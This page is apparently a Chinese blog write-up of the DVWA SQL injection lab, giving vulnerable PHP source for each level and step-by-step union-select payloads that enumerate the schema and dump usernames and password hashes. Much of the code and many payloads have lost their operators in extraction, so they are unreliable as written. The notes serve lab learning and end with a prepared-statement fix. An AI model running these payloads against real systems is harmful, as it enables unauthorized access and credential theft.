当前位置: 首页 > article >正文

DVWA——SQL Injection学习笔记

文章目录前言一、是什么二、步骤1.Low2.Medium3.High4.Impossible代码核心功能安全特性总结总结手工注入前言一、是什么二、步骤1.Low代码如下?phpif(isset($_REQUEST[Submit])){// Get input$id$_REQUEST[id];switch($_DVWA[SQLI_DB]){caseMYSQL:// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}mysqli_close($GLOBALS[___mysqli_ston]);break;caseSQLITE:global$sqlite_db_connection;#$sqlite_db_connection new SQLite3($_DVWA[SQLITE_DB]);#$sqlite_db_connection-enableExceptions(true);$querySELECT first_name, last_name FROM users WHERE user_id $id;;#print $query;try{$results$sqlite_db_connection-query($query);}catch(Exception$e){echoCaught exception: .$e-getMessage();exit();}if($results){while($row$results-fetchArray()){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}else{echoError in fetch .$sqlite_db-lastErrorMsg();}break;}}?首先输入1进去发现正常显示然后加个单引号再回车发现报错那么推断出此处为字符型的注入构建1’ or ‘1’1发现爆出来了所有用户此处存在注入点然后查看有多少列适用order by 1#检查第一列存在性#注释掉后面的sql语句当我们1’ order by 3#的时候报错显示没有这一列然后我们再用union select联合查询1’ union select 1,database()#先查数据库的名字发现是dvwa1’ union select 1,table_name from information_schema.tables where table_schema‘dvwa’#获取名为’dvwa’的数据库中的所有表名1’ union select 1,column_name from information_schema.columns where table_name‘users’#通过注入攻击获取数据库中特定表本例中为users表的所有字段名发现有用户名和密码的字段提取字段1’ union select user,password from users#2.Medium后端代码如下?phpif(isset($_POST[Submit])){// Get input$id$_POST[id];// 对输入进行转义防止 SQL 注入但实际上无效因为下面没有用引号包裹变量// mysqli_real_escape_string 只转义特殊字符如单引号、双引号等对数字型注入无效$idmysqli_real_escape_string($GLOBALS[___mysqli_ston],$id);switch($_DVWA[SQLI_DB]){caseMYSQL:$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.mysqli_error($GLOBALS[___mysqli_ston])./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Display values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}break;caseSQLITE:global$sqlite_db_connection;$querySELECT first_name, last_name FROM users WHERE user_id $id;;#print $query;try{$results$sqlite_db_connection-query($query);}catch(Exception$e){echoCaught exception: .$e-getMessage();exit();}if($results){while($row$results-fetchArray()){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}else{echoError in fetch .$sqlite_db-lastErrorMsg();}break;}}// This is used later on in the index.php page// Setting it here so we can close the database connection in here like in the rest of the source scripts$querySELECT COUNT(*) FROM users;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);$number_of_rowsmysqli_fetch_row($result)[0];mysqli_close($GLOBALS[___mysqli_ston]);?打开burp suite开始拦截把拦截的包放入重放器里面发现是post包那么数据在正文里发现加个单引号报错那么还是字符型但是用low的方法进行尝试发现一直报错显示错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ or ‘1’‘1’ at line 1我们发现我们的单引号都被注释处理了那么我们再试试数字型然后我们发现还是两列同low查询库、表、字段、值3 union select 1,database()# //得到库名3 union select 1,table_name from information_schema.tables where table_schema0x64767761# //得到表名因为单引号被转义使用BurpSuite的Decoder模块将’dvwa’转为16进制自行添加0x3 union select 1,column_name from information_schema.columns wheretable_schema0x64767761 and table_name0x7573657273# //得到字段转16进制同理3 union select user,password from users# //得到值3.High?phpif(isset($_SESSION[id])){// Get input$id$_SESSION[id];switch($_DVWA[SQLI_DB]){caseMYSQL:// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(preSomething went wrong./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}((is_null($___mysqli_resmysqli_close($GLOBALS[___mysqli_ston])))?false:$___mysqli_res);break;caseSQLITE:global$sqlite_db_connection;$querySELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;#print $query;try{$results$sqlite_db_connection-query($query);}catch(Exception$e){echoCaught exception: .$e-getMessage();exit();}if($results){while($row$results-fetchArray()){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}else{echoError in fetch .$sqlite_db-lastErrorMsg();}break;}}?我们发现我们输入的不在submit里面在这个窗口构造语句即可显示的结果是在主界面剩下内容和lowmedium一样4.Impossible?php// 检查是否通过 GET 方式提交了名为 Submit 的参数通常来自查询表单if(isset($_GET[Submit])){// 1. CSRF 令牌验证防止跨站请求伪造// 比较用户提交的 user_token 和会话中存储的 session_token不一致则重定向到 index.phpcheckToken($_REQUEST[user_token],$_SESSION[session_token],index.php);// 2. 获取用户输入的 ID来自 URL 参数$id$_GET[id];// 3. 验证输入是否为数字if(is_numeric($id)){// 4. 将 ID 转换为整数进一步确保是数字同时去除前导零等$idintval($id);// 根据全局配置的数据库类型选择不同的处理方式switch($_DVWA[SQLI_DB]){caseMYSQL:// MySQL 数据库// 5. 使用 PDO 预编译语句prepareSQL 中 :id 是命名占位符$data$db-prepare(SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1;);// 绑定参数明确指定类型为整数PDO::PARAM_INT$data-bindParam(:id,$id,PDO::PARAM_INT);// 执行查询$data-execute();// 获取结果行$row$data-fetch();// 确保只返回一行结果防止恶意构造导致多行泄露if($data-rowCount()1){// 提取字段值$first$row[first_name];$last$row[last_name];// 安全地输出结果$id 已经是整数$first/$last 来自数据库但输出前最好转义echopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}break;caseSQLITE:// SQLite 数据库global$sqlite_db_connection;// 6. SQLite3 预编译语句占位符 :id$stmt$sqlite_db_connection-prepare(SELECT first_name, last_name FROM users WHERE user_id :id LIMIT 1;);// 绑定整数值第三个参数明确类型为 SQLITE3_INTEGER$stmt-bindValue(:id,$id,SQLITE3_INTEGER);// 执行查询$result$stmt-execute();$result-finalize();// 释放结果集可选if($result!false){// 注意SQLite3 结果集无法直接获取行数以下检查列数作为预防$num_columns$result-numColumns();if($num_columns2){// 确保查询返回两列first_name, last_name$row$result-fetchArray();// 获取第一行$first$row[first_name];$last$row[last_name];echopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}break;}}// 如果输入不是数字则什么都不做页面可能无输出}// 7. 生成新的 CSRF 令牌用于下次表单generateSessionToken();?代码核心功能用户通过 GET 参数id提交数字查询数据库中对应user_id的用户姓名。要求同时提交正确的 CSRF 令牌user_token防止跨站请求伪造。使用预编译语句PDO for MySQLSQLite3 for SQLite参数化查询从根本上杜绝 SQL 注入。输入验证is_numeric()intval()确保$id是整数。输出仅当查询结果唯一时显示避免批量数据泄露。最后重新生成 CSRF 令牌提高安全性。安全特性总结防护措施实现SQL 注入PDO / SQLite3 预编译 参数绑定 类型指定CSRF令牌校验 自动刷新输入验证is_numeric()intval()信息泄露控制限制LIMIT 1 检查行数 / 列数总结Low直接拼接$_GET[id]无任何防护可轻松注入。Medium使用mysqli_real_escape_string() 引号包裹但仍有数字型注入风险或绕过可能。Impossible本代码参数化查询 CSRF 令牌是目前最安全的写法。order by 用于在select 语句中按照指定的列进行排序union select将语句注入到原始查询的条件语句中从而获得联合查询后的结果group_concat() 将多个查询结果组合起来并使用逗号、空格、分号等符号来分隔各个值information_schema元数据存储库包含有关数据库结构和对象的详细信息例如表列、约束、索引、用户、角色、权限等information_schema.tables information_schema中所有的表information_schema.columns information_schema中所有的列Table_schema需要检索的数据库名称Table_name需要检索的表名column_name需要检索的列名手工注入1’ union select 1,database() # 获取数据库名1’ union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() # 获取指定数据库内的表名1’ union select 1,group_concat(column_name) from information_schema.columns where table_name‘users’ # 获取指定表内的字段名1’ or 11 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 获取字段名下的各个值

相关文章:

DVWA——SQL Injection学习笔记

文章目录前言一、是什么&#xff1f;二、步骤1.Low2.Medium3.High4.Impossible代码核心功能安全特性总结总结手工注入&#xff1a;前言 一、是什么&#xff1f; 二、步骤 1.Low 代码如下&#xff1a; <?phpif( isset( $_REQUEST[ Submit ] ) ) {// Get input$id $_REQU…...

2026中国大模型市场火爆!阿里字节抢人才,年薪百万Offer等你来!

最新数据显示&#xff0c;2024年中国大模型市场规模已达294.16亿元&#xff0c;其中多模态大模型贡献156.3亿元&#xff0c;数字人、游戏等场景应用增长迅猛&#xff1b;更有预测指出&#xff0c;2026年这一市场规模将突破700亿元大关。图源自36氪研究院 市场竞争梯队也逐渐清晰…...

Vibe Coding 详细介绍

什么是 Vibe Coding&#xff1f;Vibe Coding&#xff08;氛围编程&#xff09;是由 AI 专家 Andrej Karpathy 在 2024 年初提出的新编程范式——一种"用自然语言编程"的开发方式。你描述"想要什么"&#xff0c;AI 来写代码。核心理念&#xff1a;"You…...

子系统是啥?---总线架构的实例化

目录 一、新手容易踩的认知坑 二、历史演变&#xff1a;从硬编码到子系统设备树的转变 &#xff08;1&#xff09;原始裸奔时代&#xff1a;无结构体、无设备树、无总线架构 &#xff08;2&#xff09;结构体封装时代&#xff1a;有结构体、无设备树、有总线架构 &…...

【Kali Linux】 2026.1 新功能详解

2026年3月24日发布&#xff0c;基于 2025.4 的更新&#xff0c;带来全新视觉体验和多项新工具&#xff01;&#x1f3a8; 2026 年度主题更新每年惯例的主题大换血&#xff0c;覆盖全流程&#xff1a;组件更新内容引导动画修复了实时镜像卡在第一帧的问题&#xff0c;循环更流畅…...

Java RAG入门基础教程(非常详细),用LangChain4j构建问答系统看这篇就够了!

1. 引言&#xff1a;为什么需要 RAG 1.1 大模型的局限性 在使用大语言模型&#xff08;LLM&#xff09;时&#xff0c;我们常常遇到以下问题&#xff1a; ❌ 问题 1&#xff1a;模型不知道企业内部信息用户&#xff1a;我们公司的年假政策是什么&#xff1f;AI&#xff1a;抱…...

C语言学习的第一周

1.自我介绍我姓马&#xff0c;来自成都的一个双非一本&#xff0c;目前大一&#xff0c;神秘专业&#xff0c;目前学c语言是兴趣使然和为了未来转码作铺垫&#xff0c;多项技能傍身也没错嘛2.学习目标打下c语言的坚实基础&#xff0c;方向初步是逐步从c语言到c再到更深度的知识…...

简易数据采集与分析系统

我用 Trae&#xff08;SOLO Coder&#xff09; 自主开发了这款专为硬件工程师打造的数据分析工具&#xff0c;无需懂代码&#xff0c;点点鼠标即可完成采集卡数据全流程分析。核心功能一键导入采集卡原始 ADC 数据&#xff0c;自动适配 12/16 位分辨率&#xff0c;精准转换为真…...

CSS如何利用Less快速生成颜色渐变背景_使用混合函数生成多样渐变

用带参数的.gradient-bg()混合函数&#xff0c;支持start-color、end-color、direction及透明度微调&#xff0c;避免硬编码&#xff1b;多色用.gradient-bg-stops()&#xff1b;注意转义方向值、变量定义顺序、CSS变量分层及Safari渲染兼容性。Less混合函数怎么写才能生成可复…...

别再让图片拖慢你的多模态模型了:手把手教你用Q-Former和PruMerge压缩视觉Token(附代码)

视觉Token压缩实战&#xff1a;用Q-Former和PruMerge提升多模态模型效率 当你在深夜调试一个多模态问答系统时&#xff0c;突然收到告警——GPU显存爆了。查看日志发现&#xff0c;一张用户上传的4K产品图片生成了超过3万个视觉Token&#xff0c;直接拖垮了整个推理流程。这不是…...

深入解析MCU:从哈佛架构到智能家居应用

1. MCU的哈佛架构揭秘 第一次拆开智能音箱时&#xff0c;我盯着那块指甲盖大小的芯片发愣——这就是控制所有功能的"大脑"&#xff1f;后来才知道&#xff0c;这种叫MCU的微型计算机&#xff0c;核心秘密藏在它的哈佛架构里。想象你同时用两只手写字&#xff1a;左手…...

微信聊天记录导出终极指南:如何快速安全备份你的珍贵回忆

微信聊天记录导出终极指南&#xff1a;如何快速安全备份你的珍贵回忆 【免费下载链接】WeChatExporter 一个可以快速导出、查看你的微信聊天记录的工具 项目地址: https://gitcode.com/gh_mirrors/wec/WeChatExporter 你是否曾经因为手机丢失或系统升级&#xff0c;担心…...

HsMod:革新性炉石传说增强工具,全方位提升游戏体验

HsMod&#xff1a;革新性炉石传说增强工具&#xff0c;全方位提升游戏体验 【免费下载链接】HsMod Hearthstone Modification Based on BepInEx 项目地址: https://gitcode.com/GitHub_Trending/hs/HsMod 一、你是否也面临这些游戏痛点&#xff1f; 当你兴致勃勃地开启…...

Linux学习进展 计算机基本硬件结构

学习Linux系统&#xff0c;本质上是掌握“软件如何操控硬件”的逻辑——Linux作为开源操作系统&#xff0c;其内核与硬件的深度绑定的特性&#xff0c;决定了我们必须先理解计算机基本硬件结构&#xff0c;才能更清晰地明白Linux内核的调度机制、资源管理逻辑&#xff0c;以及后…...

Excel文件压缩难?这4个方法让文件秒变小,传输再也不卡壳!

在数据驱动的办公场景中&#xff0c;Excel文件的"臃肿"问题越来越普遍。比如财务部门每月导出的销售报表&#xff0c;因包含近百张动态图表和历史数据&#xff0c;文件大小可能达到几十MB&#xff1b;市场调研团队收集的问卷数据&#xff0c;若未做图片压缩&#xff…...

基于springboot+vue高校物资信息采购系统hx0807

文章目录详细视频演示技术介绍功能介绍核心代码系统效果图源码获取详细视频演示 文章底部名片&#xff0c;获取项目的完整演示视频&#xff0c;免费解答技术疑问 技术介绍 开发语言&#xff1a;Java 框架&#xff1a;ssm JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomca…...

【2026春招必看】MiniMax大模型算法岗面试深度解析:薪资福利+核心考点+项目经验!手把手教你冲刺高薪Offer!

今天给大家梳理出来minmax的福利待遇&#xff0c;顺便分享面试大模型算法岗的面试题。喜欢本文记得收藏、关注、点赞。 废话不多说&#xff0c;我们要开车了。 薪资介绍 月薪&#xff08;base&#xff09; 应届/初级&#xff08;1–2年&#xff09;&#xff1a;35K–50K / 月中…...

十大AI写作工具迎来深度评测,AIGC论文助手从功能性、稳定性等维度出发,量化分析其核心表现。

工具名称 核心优势 适用场景 aicheck 快速降AIGC率至个位数 AIGC优化、重复率降低 aibiye 智能生成论文大纲 论文结构与内容生成 askpaper 文献高效整合 开题报告与文献综述 秒篇 降重效果显著 重复率大幅降低 一站式论文查重降重 查重改写一站式 完整论文优化…...

5分钟搞懂LLM、Token、Agent,解锁AI核心价值!

本文深入浅出地解析了AI核心概念&#xff0c;从基础的大语言模型&#xff08;LLM&#xff09;到Token、Tools、Skills、MCP&#xff0c;再到智能体&#xff08;Agent&#xff09;的演进。强调了AI虽擅长语言生成但缺乏实际操作能力&#xff0c;并通过工具和接口&#xff08;Too…...

MTK平台Camera移植避坑指南:从驱动添加到DWS配置的完整流程(基于Kernel 4.19)

MTK平台Camera移植避坑指南&#xff1a;从驱动添加到DWS配置的完整流程&#xff08;基于Kernel 4.19&#xff09; 在嵌入式设备开发中&#xff0c;Camera模块的移植往往是系统集成中最具挑战性的环节之一。特别是基于MTK平台的Android设备&#xff0c;Camera驱动的移植涉及从内…...

从LLM到A2A:AI工程师必备7大核心概念解析,掌握AI未来!

从 LLM 到 A2A&#xff1a;AI 工程师必须掌握的七个核心概念 大模型 API Agent MCP Skill A2A 全景解析 你是否曾经困惑&#xff1a;调用一个大模型 API 和「部署一个 Agent」到底有什么本质区别&#xff1f;MCP 和 Skill 都是「能力扩展」&#xff0c;为什么需要两套机制…...

5分钟上手libhv:用自带httpd和curl工具快速搭建本地测试服务

5分钟实战libhv&#xff1a;零配置构建高效本地HTTP测试环境 第一次听说libhv时&#xff0c;我正被一个紧急的前后端联调任务逼得焦头烂额。当时需要快速搭建一个模拟API服务&#xff0c;但Node.js环境配置卡在了权限问题上&#xff0c;Python的SimpleHTTPServer又无法满足复杂…...

Python 办公自动化封神篇:PDF+Word 全自动处理,从此告别复制粘贴!

前言每天对着一堆 PDF 合并拆分、Word 改格式、手动做报表&#xff1f;重复操作又累又容易错&#xff0c;Python 几行代码就能全自动搞定&#xff01;这篇不讲废话、不搞应试&#xff0c;全是能直接用在工作 / 学习 / 小项目的干货&#xff0c;从读取、创建、批量生成到美化排版…...

数字后端 | Innovus 中解决 Congestion 的常用方法

前言 Congestion&#xff08;布线拥塞&#xff09;是数字后端实现中常见的问题。当局部区域标准单元过密、pin 密度过高或走线方向冲突时&#xff0c;就会出现 Congestion&#xff0c;最终可能导致 DRC 违例增多甚至布线失败。本文介绍在 Innovus 中如何查看和分析 Congestion&…...

Polars 2.0大规模清洗踩坑实录:3类隐性OOM陷阱+4步零拷贝修复法,DBA紧急封存的内部手册

第一章&#xff1a;Polars 2.0大规模清洗踩坑实录&#xff1a;3类隐性OOM陷阱4步零拷贝修复法&#xff0c;DBA紧急封存的内部手册三类隐性OOM陷阱真实复现 在处理12TB电商日志&#xff08;单文件超80GB Parquet&#xff09;时&#xff0c;Polars 2.0默认配置下静默触发OOM——非…...

Python程序员最后的护城河:掌握无GIL环境下的内存序建模、seq_cst原子操作与TSO一致性验证(附GCC/Clang内联汇编对照表)

第一章&#xff1a;Python程序员的无GIL并发觉醒&#xff1a;从CPython锁争用到真正并行的范式跃迁Python开发者长期在CPython解释器下与全局解释器锁&#xff08;GIL&#xff09;共处——它保障了内存管理的安全&#xff0c;却也悄然扼杀了多核CPU上真正的并行计算能力。当I/O…...

Docker镜像拉取超时?5分钟搞定国内镜像源加速配置(附最新可用镜像列表)

Docker镜像加速全攻略&#xff1a;2024国内镜像源配置与疑难排解 每次在终端输入docker pull后盯着进度条卡住不动&#xff0c;是不是感觉血压都在飙升&#xff1f;作为国内开发者&#xff0c;Docker官方镜像源的访问问题就像一场永远打不完的"拉锯战"。但别急着摔键…...

eNSP启动AR报错码40终极排查指南:从Hyper-V冲突到虚拟网卡修复

1. 遇到eNSP启动AR报错码40怎么办&#xff1f; 最近在折腾eNSP的时候&#xff0c;遇到了AR设备启动报错码40的问题&#xff0c;按照官方帮助手册排查了一圈都没解决。这种系统级的虚拟化冲突确实让人头疼&#xff0c;特别是当你急着做实验的时候。经过反复测试和查阅资料&#…...

双轴卷取分切机程序,PLC和触摸屏使用西门子smart200系列。 前后卷取双轴张力控制计算

双轴卷取分切机程序&#xff0c;PLC和触摸屏使用西门子smart200系列。 前后卷取双轴张力控制计算。 利用变频器模拟量输出控制张力。 卷取版型较好。 内部张力梯度算法理解后可用于恒张力卷取设备。 程序有完整注释&#xff0c;完整的设备图纸&#xff0c;方便理解阅读。 只包含…...

小红书合规引流新姿势:聚光平台落地页卡片制作全流程指南

小红书聚光平台合规引流实战手册&#xff1a;从落地页设计到高效转化全解析 在小红书这个日活超过2亿的内容社区里&#xff0c;企业营销人员和个体创业者最关心的莫过于如何在不触碰平台红线的前提下实现精准引流。聚光平台作为小红书官方推出的商业工具&#xff0c;其落地页卡…...